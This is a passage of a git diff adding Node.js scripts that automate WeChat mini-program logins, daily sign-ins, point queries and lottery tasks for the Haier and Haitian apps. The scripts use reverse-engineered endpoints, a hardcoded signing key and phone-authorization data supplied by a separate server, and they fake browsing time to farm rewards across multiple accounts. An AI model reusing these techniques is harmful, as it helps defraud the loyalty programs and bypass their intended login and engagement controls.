MicroMessenger/8.0.70(0x1800462d) NetType/WIFI Language/zh_CN"; + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function shortToken(token = "") { + const value = String(token || "").replace(/^Mer/i, ""); + return value ? `${value.slice(0, 6)}***${value.slice(-6)}` : ""; +} + +function isTokenError(message) { + return /1011|401|403|token|登录|授权|失效|过期/i.test(String(message || "")); +} + +class Task { + constructor(env) { + this.index = $.userIdx++; + this.raw = String(env || "").trim(); + this.user = this.raw.split(strSplitor); + this.accountId = this.user[0].trim(); + this.token = ""; + this.sessionKey = ""; + this.userId = ""; + this.userInfo = {}; + this.isLegacyToken = /^Mer|eyJ/i.test(this.accountId) || this.user.length >= 2; + if (this.isLegacyToken) { + this.token = this.accountId.replace(/^Mer/i, ""); + this.accountId = `legacy:${shortToken(this.token)}`; + } + } + + async run() { + if (this.isLegacyToken) { + $.log(`账号[${this.index}] 检测到旧版token格式,先迁移到缓存`); + this.saveCachedToken(); + } else { + const cached = this.getCachedToken(); + if (cached?.token) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token: ${shortToken(this.token)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新CODE登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + } + + await this.sign(); + await this.account(); + } + + cacheKey() { + return this.isLegacyToken ? this.accountId : this.raw; + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.cacheKey()] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.cacheKey()] = { + token: this.token, + sessionKey: this.sessionKey, + userId: this.userId, + userInfo: this.userInfo, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.cacheKey()]) { + delete cache[this.cacheKey()]; + writeTokenCache(cache); + } + this.token = ""; + this.sessionKey = ""; + this.userId = ""; + this.userInfo = {}; + } + + applyToken(data = {}) { + this.token = String(data.token || data.authorization || "").replace(/^Mer/i, ""); + this.sessionKey = data.sessionKey || ""; + this.userId = data.userId || ""; + this.userInfo = data.userInfo || {}; + } + + headers(extra = {}) { + return { + "content-Type": "application/json", + Authorization: `Mer${this.token}`, + "User-Agent": defaultUserAgent, + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + ...extra, + }; + } + + async request(pathname, { method = "GET", data, params, auth = true, headers = {} } = {}) { + const options = { + method, + url: `${API_BASE}${pathname}`, + params, + data, + headers: auth ? this.headers(headers) : { + "content-Type": "application/json", + "User-Agent": defaultUserAgent, + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + ...headers, + }, + timeout: 20000, + validateStatus: () => true, + }; + const { data: result, status } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (Number(result?.code) !== 0) throw new Error(`${result?.code ?? ""} ${result?.message || JSON.stringify(result)}`.trim()); + return result; + } + + async getOperateData() { + if (!process.env.wx_auth) throw new Error("缺少 wx_auth,无法从 wx_server 获取登录数据"); + const url = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); + const { data } = await axios.post(`${url}/wx/getuserinfo`, { + appid: MINI_APP_ID, + openid: this.raw, + }, { + headers: { auth: process.env.wx_auth }, + timeout: 45000, + validateStatus: () => true, + }); + const result = data?.data || {}; + if (!data?.status || !result.code) throw new Error(`wx_server 未返回code: ${JSON.stringify(data)}`); + let userInfo = {}; + try { + userInfo = JSON.parse(result.data || "{}"); + } catch (e) {} + return { code: result.code, userInfo }; + } + + async loginByWxCode() { + try { + const wxData = await this.getOperateData(); + const user = wxData.userInfo || {}; + const payload = { + avatarUrl: user.avatarUrl || "", + city: user.city || "", + country: user.country || "", + gender: user.gender || 0, + nickName: user.nickName || user.nickname || "微信用户", + province: user.province || "", + code: wxData.code, + source: 2, + }; + const result = await this.request("/user/wxLogin", { + method: "POST", + data: payload, + auth: false, + }); + const data = result?.data || {}; + if (!data.authorization) throw new Error(`登录响应未返回authorization: ${JSON.stringify(result)}`); + this.token = data.authorization; + this.sessionKey = data.sessionKey || ""; + this.userId = data.userId || ""; + this.saveCachedToken(); + $.log(`账号[${this.index}] CODE登录成功: ${shortToken(this.token)}`); + } catch (e) { + $.log(`账号[${this.index}] CODE登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.request("/user/info"); + return true; + } catch (e) { + return false; + } + } + + async sign() { + try { + const result = await this.request("/sign/daily/sign"); + $.log(`🕊账号[${this.index}] 签到成功:签到[${result.data?.spanSumDays ?? "未知"}]天🎉`); + } catch (e) { + const message = String(e.message || e); + if (/已签|重复|今日/.test(message)) { + $.log(`🕊账号[${this.index}] 今日已签到`); + return; + } + $.log(`🕊账号[${this.index}] 签到失败:${message}⛔`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async account() { + try { + const result = await this.request("/user/info"); + this.userInfo = result.data || {}; + this.saveCachedToken(); + $.log(`🕊账号[${this.index}] 查询成功:总积分[${result.data?.score ?? "未知"}]🎉`); + } catch (e) { + const message = String(e.message || e); + $.log(`🕊账号[${this.index}] 查询失败:${message}🚫`); + if (isTokenError(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + await getNotice(); + $.checkEnv(ckName); + + for (const user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + const { data: res } = await axios.request({ + url: "https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json", + headers: { "User-Agent": defaultUserAgent }, + timeout: 3000, + }); + $.log(res); + return res; + } catch (e) {} +} diff --git a/wxapp/haier.js b/wxapp/haier.js new file mode 100644 index 00000000..b35dc892 --- /dev/null +++ b/wxapp/haier.js @@ -0,0 +1,169 @@ +/* +------------------------------------------ +@Description: 海尔智家 - 微信小程序静默登录 + 每日签到 +cron: 55 8 * * * +------------------------------------------ +变量名:haier +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxe24b2f1f4e378891,host zj.haier.net): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +签名:sign = sha256(path + JSON.stringify(body) + HA_APP_ID + HA_APP_KEY + timestamp)(仅 jscode2session 带 sign) +请求头:appId=HA_APP_ID / appKey=HA_APP_KEY / timestamp / platForm:sc-mp-wx-zjapp / clientId / accessToken=accountToken=ak=token +登录 POST /api-gw/oauthserver/applet/v1/jscode2session {code}(带 sign,头不带 token) + -> retCode=="00000",data.tokenInfo.accountToken(=后续 token) +签到 POST /api-gw/zjBaseServer/daily/sign {} -> retCode=="00000",data.totalSignDay +HA_APP_ID/HA_APP_KEY 是这家小程序固定应用标识(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("海尔智家签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "haier"; +const MINI_APP_ID = "wxe24b2f1f4e378891"; +const PAGE_VERSION = "475"; +const HA_APP_ID = "MB-SHEZJAPPWXXCX-0000"; +const HA_APP_KEY = "79ce99cc7f9804663939676031b8a427"; +const API_HOST = "https://zj.haier.net"; +const TOKEN_CACHE_FILE = path.join(__dirname, "haier_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/api-gw/oauthserver/applet/v1/jscode2session"; +const EP_USERINFO = "/api-gw/oauthserver/applet/v1/userinfo/query"; +const EP_SIGN = "/api-gw/zjBaseServer/daily/sign"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function randomString(n) { + const cs = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + return Array.from({ length: n }, () => cs[Math.floor(Math.random() * cs.length)]).join(""); +} +function sign256(p, body, timestamp) { + const bodyStr = body ? JSON.stringify(body) : ""; + return crypto.createHash("sha256").update(p + bodyStr + HA_APP_ID + HA_APP_KEY + timestamp).digest("hex"); +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.clientId = `${Date.now()}${randomString(12)}`; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async request(apiPath, data, { isSign256 = false, delToken = false } = {}) { + const timestamp = Date.now(); + const headers = { + host: "zj.haier.net", "Content-Type": "application/json;charset=UTF-8", + appId: HA_APP_ID, appKey: HA_APP_KEY, timestamp, platForm: "sc-mp-wx-zjapp", ENV: "", + accessToken: delToken ? "" : this.token, accountToken: delToken ? "" : this.token, ak: delToken ? "" : this.token, + clientId: this.clientId, accept: "*/*", "user-agent": UA, + referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + }; + if (isSign256) headers.sign = sign256(apiPath, data, timestamp); + const res = await axios.request({ method: "POST", url: `${API_HOST}${apiPath}`, data: data || {}, headers, timeout: 20000, validateStatus: () => true }); + if (res.status !== 200) { if (res.data && typeof res.data === "object") return res.data; throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code }, { isSign256: true, delToken: true }); + if (res?.retCode !== "00000" && res?.code !== 200 && !res?.success) throw new Error(`登录失败: ${res?.retInfo || res?.message || short(res)}`); + const info = (res.data && res.data.tokenInfo) || res.data || {}; + this.token = String(info.accountToken || ""); + if (!this.token) { + // 有 openId/unionId 但无 accountToken = 该微信号未注册海尔智家会员 + const oid = (res.data || {}).openId || info.openId || (res.data || {}).unionId || info.unionId; + if (oid) { this.unregistered = true; throw new Error("NO_ACCOUNT:未注册海尔智家会员"); } + throw new Error(`登录未返回 accountToken: ${short(res)}`); + } + try { await this.request(EP_USERINFO, {}); } catch (e) {} + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + async sign(retry = true) { + const res = await this.request(EP_SIGN, {}); + if (res?.retCode === "00000") { + const d = res.data || {}; + return this.log(`✅ 签到成功${d.totalSignDay !== undefined ? `,已连续 ${d.totalSignDay} 天` : ""}`); + } + const msg = res?.retInfo || res?.message || res?.msg || short(res); + if (/已签|签到过|重复|已完成/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + if (retry && /token|登录|未授权|失效|过期|未登录|鉴权/i.test(String(msg))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log("⚠️ 该微信号还没在海尔智家注册会员,先在小程序里登录注册一次再跑"); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/haitian.js b/wxapp/haitian.js new file mode 100644 index 00000000..cb32be51 --- /dev/null +++ b/wxapp/haitian.js @@ -0,0 +1,587 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: 海天美味馆小程序 +cron: 30 11 * * * +------------------------------------------ +#Notice: +变量名 haitian +变量值:wx_server 里的 openid/账号标识,多账号&或换行;也兼容旧格式 authorization#uuid +需要配置:wx_server_url、wx_auth + +可选变量: + haitian_phone_login 是否允许用 /wx/getphonenumber 的手机号授权数据登录,默认 1(开启)。 + 海天只有这一条登录路(等同小程序里点“手机号快捷登录”按钮), + 置 0 则改为自己抓包按 authorization#uuid 手填变量。 + +登录链路(反编译包 wx7a890ea13f50d7b6 主包,逐行核对): + 手机号授权 -> e.detail.encryptedData / e.detail.iv + 再 uni.login() 取一次 code + -> POST buyer-api/wechat/mini/phoneNew/login?edata=&iv=&code=&uuid=&article_ids=&app_versions= + -> {access_token, refresh_token, uid, success} + components/login/login.js:180-212(mpWxPhoneLogin)、common/vendor.js:4394(wxRegisterOrLogin) + 注意 edata/iv 必须是【手机号】授权回调里的加密数据(wx_server 走 /wx/getphonenumber + 返回的 data.raw.encryptedData / data.raw.iv);早先脚本传的是 /wx/getuserinfo 的 + 【用户资料】加密数据(里面只有 nickName/avatarUrl),服务端解出来没有 phoneNumber, + 固定回 HTTP 500 {"code":"E131","message":"登录失败"}——这不是服务端故障。 + access_token 过期可用 POST buyer-api/passport/token {refresh_token} 续期(vendor.js:13707)。 + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此免责声明。 +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("海天美味馆小程序"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +const ckName = "haitian"; +const strSplitor = "#"; +const MINI_APP_ID = "wx7a890ea13f50d7b6"; +const PAGE_VERSION = "772"; +const API_BASE = "https://cmallapi.xkmm.cn/buyer-api"; +const BASE_API = "https://cmallapi.xkmm.cn/base-api"; +const TOKEN_CACHE_FILE = path.join(__dirname, "haitian_token_cache.json"); +// 手机号授权开关:默认开启(1)。海天的登录接口只吃手机号授权的加密数据, +// 不想授权就置 0,然后自行抓包按 authorization#uuid 填变量。 +const PHONE_LOGIN = !/^(0|false|no|off)$/i.test(String(process.env.haitian_phone_login ?? "1")); +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/+$/, ""); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.70(0x1800462d) NetType/WIFI Language/zh_CN"; + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function shortToken(token = "") { + const value = String(token || ""); + return value ? `${value.slice(0, 6)}***${value.slice(-6)}` : ""; +} + +function maskPhone(phone = "") { + return String(phone || "").replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function randomUuid(len = 20) { + const chars = "abcdef0123456789"; + let value = ""; + for (let i = 0; i < len; i++) value += chars[Math.floor(Math.random() * chars.length)]; + return value; +} + +function isTokenError(message) { + return /401|403|token|登录|授权|失效|过期|no-show-toast/i.test(String(message || "")); +} + +// 幂等:重复签到服务端回 HTTP 500 {"code":"1019","message":"今天已经签到过了"}, +// 老正则只有 /已签|重复/,匹配不到「已经签到过了」,会把成功当失败报 +function isAlreadySigned(message) { + return /\b1019\b|已签|已经签|签到过|重复|already/i.test(String(message || "")); +} + +// 活动侧状态(结束/未开始),不是脚本故障,不打 ❌ +function isActivityClosed(message) { + return /活动(还没有开始|未开始|已经结束|已结束)|已经结束|已结束|\b002\b|\b1009\b/.test(String(message || "")); +} + +class Task { + constructor(env) { + this.index = $.userIdx++; + this.raw = String(env || "").trim(); + this.user = this.raw.split(strSplitor); + this.accountId = this.user[0].trim(); + this.token = ""; + this.refreshToken = ""; + this.communityToken = ""; + this.uuid = randomUuid(); + this.activity_code = ""; + this.userFlag = false; + this.userInfo = {}; + // 旧格式 authorization#uuid:第一段是 JWT;openid#备注 这种不算 + this.isLegacyToken = this.user.length >= 2 && /^ey[A-Za-z0-9_-]{10,}\./.test(this.accountId); + if (this.isLegacyToken) { + this.token = this.user[0].trim(); + this.uuid = this.user[1].trim() || this.uuid; + this.accountId = `legacy:${shortToken(this.token)}`; + } + } + + async run() { + if (this.isLegacyToken) { + $.log(`账号[${this.index}] 检测到旧版 authorization#uuid 格式,先迁移到缓存`); + this.saveCachedToken(); + } else { + const cached = this.getCachedToken(); + if (cached?.accessToken) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token: ${shortToken(this.token)}`); + if (!(await this.checkToken())) { + $.log(`账号[${this.index}] 缓存token失效,尝试用 refresh_token 续期`); + if (!(await this.refreshAccessToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 续期失败,重新登录`); + } + } + } + + if (!this.token) { + if (!PHONE_LOGIN) { + $.log( + `账号[${this.index}] 没有可用 token:海天唯一的登录接口 wechat/mini/phoneNew/login 需要微信手机号授权的加密数据(小程序里就是“手机号快捷登录”),而你把 haitian_phone_login 置成了 0。\n` + + ` 两种办法二选一:\n` + + ` 1) 允许手机号授权 -> 去掉 haitian_phone_login 或置 1,脚本自动用 wx_server 的 /wx/getphonenumber 登录;\n` + + ` 2) 继续不授权 -> 自行抓一次小程序请求,把 Authorization 和 uuid 按 authorization${strSplitor}uuid 填进 ${ckName} 变量` + ); + return; + } + await this.loginByWxCode(); + if (!this.token) return; + } + } + + await this.getUserInfo(); + if (!this.userFlag) return; + + await this.task_1(); + await this.task_2(); + await this.getSignActivity(); + + if (this.activity_code) { + await this.signIn(); + if (await this.getLotteryTaskList()) await this.getLotteryNum(); + } + } + + cacheKey() { + return this.isLegacyToken ? this.accountId : this.raw; + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.cacheKey()] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.cacheKey()] = { + accessToken: this.token, + refreshToken: this.refreshToken, + communityToken: this.communityToken, + uuid: this.uuid, + userInfo: this.userInfo, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.cacheKey()]) { + delete cache[this.cacheKey()]; + writeTokenCache(cache); + } + this.token = ""; + this.refreshToken = ""; + this.communityToken = ""; + this.userInfo = {}; + } + + applyToken(data = {}) { + this.token = data.accessToken || data.token || ""; + this.refreshToken = data.refreshToken || ""; + this.communityToken = data.communityToken || ""; + this.uuid = data.uuid || this.uuid; + this.userInfo = data.userInfo || {}; + } + + headers(extra = {}, auth = true, isJson = false) { + const headers = { + "Connection": "keep-alive", + "envVersion": "release", + "Content-Type": isJson ? "application/json" : "application/x-www-form-urlencoded", + "uuid": this.uuid, + "Accept-Encoding": "gzip,compress,br,deflate", + "User-Agent": defaultUserAgent, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + ...extra, + }; + if (auth) { + headers.Authorization = this.token; + if (this.communityToken) headers["X-Haday-Token"] = this.communityToken; + } + return headers; + } + + async request(pathname, { method = "GET", params, data, auth = true, isJson = false, base = API_BASE } = {}) { + const options = { + method, + url: `${base}${pathname}`, + params, + headers: this.headers({}, auth, isJson), + timeout: 20000, + validateStatus: () => true, + }; + if (data !== undefined) options.data = isJson ? data : new URLSearchParams(data).toString(); + + const { data: result, status } = await axios.request(options); + if (status === 401 || status === 403) throw new Error(`HTTP ${status}: ${result?.message || JSON.stringify(result)}`); + if (status < 200 || status >= 300) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (result && typeof result === "object" && result.code && !["200", "0"].includes(String(result.code))) { + throw new Error(`${result.code} ${result.message || result.msg || JSON.stringify(result)}`.trim()); + } + return result; + } + + /** 统一调 wx_server,status:false 时单独报错,避免把取码限流误判成海天登录失败 */ + async callWxServer(endpoint) { + if (!process.env.wx_auth) throw new Error("缺少 wx_auth,无法从 wx_server 获取登录数据"); + const { data } = await axios.post( + `${WX_SERVER_URL}${endpoint}`, + { appid: MINI_APP_ID, openid: this.accountId }, + { headers: { auth: process.env.wx_auth }, timeout: 45000, validateStatus: () => true } + ); + if (!data || data.status === false) { + throw new Error(`wx_server ${endpoint} 失败: ${data?.message || data?.error || "未知原因"}`); + } + return data.data || {}; + } + + /** + * 取【手机号】授权的加密数据。 + * /wx/getphonenumber 的 data.raw 里带 encryptedData/iv(等同 getPhoneNumber 回调里的字段); + * 注意不能用 /wx/getuserinfo,那个是用户资料(nickName/avatarUrl)的加密数据, + * 服务端解不出 phoneNumber,固定回 500 E131 登录失败。 + */ + async getPhoneAuthData() { + const result = await this.callWxServer("/wx/getphonenumber"); + const raw = result.raw || {}; + const edata = raw.encryptedData || result.encryptedData || ""; + const iv = raw.iv || result.iv || ""; + if (!edata || !iv) throw new Error(`wx_server /wx/getphonenumber 未返回手机号加密数据: ${JSON.stringify(Object.keys(raw))}`); + return { edata, iv }; + } + + /** 手机号授权之后再取一次 wx.login code(顺序和小程序一致) */ + async getLoginCode() { + const result = await this.callWxServer("/wx/code"); + const code = result.code || ""; + if (!code) throw new Error("wx_server /wx/code 未返回 code"); + return code; + } + + async getArticleIds() { + try { + const result = await this.request("/pages/REGISTRATION_AGREEMENT,PRIVACY_PROTECTION_CLAUSE/articles/list", { + base: BASE_API, + auth: false, + }); + const ids = Array.isArray(result) ? result.map(item => item.article_id).filter(Boolean) : []; + return ids.join(","); + } catch (e) { + $.log(`账号[${this.index}] 获取协议ID失败,继续登录: ${e.message || e}`); + return ""; + } + } + + async loginByWxCode() { + try { + const { edata, iv } = await this.getPhoneAuthData(); + const code = await this.getLoginCode(); + const articleIds = await this.getArticleIds(); + const params = { + edata, + iv, + code, + uuid: this.uuid, + article_ids: articleIds, + app_versions: "1.0.0", + }; + const result = await this.request("/wechat/mini/phoneNew/login", { + method: "POST", + params, + auth: false, + }); + const token = result?.access_token || result?.accessToken || ""; + if (!result?.success || !token) throw new Error(`登录响应未返回token: ${JSON.stringify(result)}`); + this.token = token; + this.refreshToken = result.refresh_token || result.refreshToken || ""; + await this.loginCommunityToken().catch(() => {}); + this.saveCachedToken(); + $.log(`账号[${this.index}] 手机号授权登录成功: ${shortToken(this.token)}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + /** access_token 续期:vendor.js:13707 POST /passport/token {refresh_token} */ + async refreshAccessToken() { + if (!this.refreshToken) return false; + try { + const result = await this.request("/passport/token", { + method: "POST", + data: { refresh_token: this.refreshToken }, + auth: false, + }); + const token = result?.accessToken || result?.access_token || ""; + if (!token) return false; + this.token = token; + this.refreshToken = result.refreshToken || result.refresh_token || this.refreshToken; + await this.loginCommunityToken().catch(() => {}); + this.saveCachedToken(); + $.log(`账号[${this.index}] token续期成功: ${shortToken(this.token)}`); + return await this.checkToken(); + } catch (e) { + $.log(`账号[${this.index}] token续期失败: ${e.message || e}`); + return false; + } + } + + async loginCommunityToken() { + if (!this.token) return; + const result = await this.request("/wx/auth/loginByToken", { + method: "POST", + base: "https://cmallwap.xkmm.cn/haday", + data: { access_token: this.token }, + auth: false, + isJson: true, + }); + this.communityToken = result?.data || result || ""; + this.saveCachedToken(); + } + + async checkToken() { + try { + await this.request("/members"); + return true; + } catch (e) { + return false; + } + } + + async getUserInfo() { + try { + const result = await this.request("/members"); + if (result?.member_id) { + this.userInfo = result; + this.saveCachedToken(); + $.log(`🌸账号[${this.index}] [${result.member_id}][${maskPhone(result.mobile)}] 当前积分[${result.consum_point}]🎉`); + this.userFlag = true; + } else { + $.log(`🌸账号[${this.index}] 查询-失败:${JSON.stringify(result)}❌`); + } + } catch (e) { + const message = e.message || e; + $.log(`🌸账号[${this.index}] 查询-失败:${message}❌`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async getSignActivity() { + try { + const result = await this.request("/sign/activity/code", { + params: { activityCode: "" }, + }); + if (result?.activity_code) { + $.log(`获取活动信息成功,活动ID:${result.activity_code}`); + this.activity_code = result.activity_code; + } else { + $.log(`获取活动信息失败:${JSON.stringify(result)}❌`); + } + } catch (e) { + $.log(`获取活动信息失败:${e.message || e}❌`); + } + } + + async signIn() { + try { + const result = await this.request("/sign/activity/sign", { + method: "POST", + isJson: true, + data: { activity_code: this.activity_code, fill_date: "" }, + }); + if (result?.is_sign === true || result?.success === true) { + $.log("签到成功"); + } else if (isAlreadySigned(JSON.stringify(result))) { + $.log("今日已签到"); + } else { + $.log(`签到失败 [${result?.message || JSON.stringify(result)}]`); + } + } catch (e) { + const message = String(e.message || e); + if (isAlreadySigned(message)) { + $.log("今日已签到"); + return; + } + $.log(`签到失败 [${message}]`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async task_1() { + try { + const result = await this.request("/members/browsePage", { + method: "POST", + data: {}, + }); + if (result?.code == 200 || result?.statusCode == 200 || result === "") { + $.log("浏览界面 操作成功"); + } else { + $.log(`浏览界面 操作失败[${JSON.stringify(result)}]`); + } + } catch (e) { + $.log(`浏览界面 操作失败[${e.message || e}]`); + } + } + + async task_2() { + try { + const result = await this.request("/members/commnity/brosing/duration/add", { + method: "POST", + params: { seconds: 10 }, + data: {}, + }); + if (result?.statusCode == 200 || result?.code == 200 || result === "") { + $.log("浏览社区 操作成功"); + } else { + $.log(`浏览社区 操作失败 貌似是正常的 [${JSON.stringify(result)}]`); + } + } catch (e) { + $.log(`浏览社区 操作失败 貌似是正常的 [${e.message || e}]`); + } + } + + async doLottery() { + try { + const result = await this.request("/lucky/activity/extract", { + params: { activityCode: `jfcj${this.activity_code}` }, + }); + if (result?.lucky_record_vo) { + $.log(`🌸账号[${this.index}]🕊抽奖结果:${result.lucky_record_vo.prize_name}🎉`); + return true; + } + $.log(`🌸账号[${this.index}] 抽奖-失败:${JSON.stringify(result)}❌`); + } catch (e) { + const message = String(e.message || e); + if (isActivityClosed(message)) { + $.log(`🌸账号[${this.index}] 抽奖活动已结束,跳过`); + return false; + } + $.log(`🌸账号[${this.index}] 抽奖-失败:${message}❌`); + } + return false; + } + + /** 返回 false 表示抽奖活动已关闭,外层不用再查次数 */ + async getLotteryTaskList() { + try { + const result = await this.request(`/lucky/task/package/jfcj${this.activity_code}`); + if (result?.member_id) { + $.log(`🌸账号[${this.index}]🕊抽奖次数任务🎉`); + for (const task of result.task_list || []) { + if (task.today_available_task_number >= 1 && task.today_obtained_task_number < task.today_available_task_number) { + if (task.task_key === "LOGIN") { + $.log(`🌸账号[${this.index}]🕊正在完成任务:${task.task_name}🎉`); + const res = await this.request(`/lucky/task/getLoginOpporturnity/jfcj${this.activity_code}`, { + method: "PUT", + data: {}, + }); + $.log(JSON.stringify(res)); + } + if (task.task_key === "BROWSE_PAGE_TASK") { + $.log(`🌸账号[${this.index}]🕊正在完成任务:${task.task_name}🎉`); + await this.lotteryTaskBrowser(task.link); + } + } + } + return true; + } + $.log(`🌸账号[${this.index}] 抽奖次数任务-失败:${JSON.stringify(result)}❌`); + } catch (e) { + const message = String(e.message || e); + if (isActivityClosed(message)) { + $.log(`🌸账号[${this.index}] 积分抽奖活动未开始或已结束,跳过抽奖`); + return false; + } + $.log(`🌸账号[${this.index}] 抽奖次数任务-失败:${message}❌`); + } + return true; + } + + async 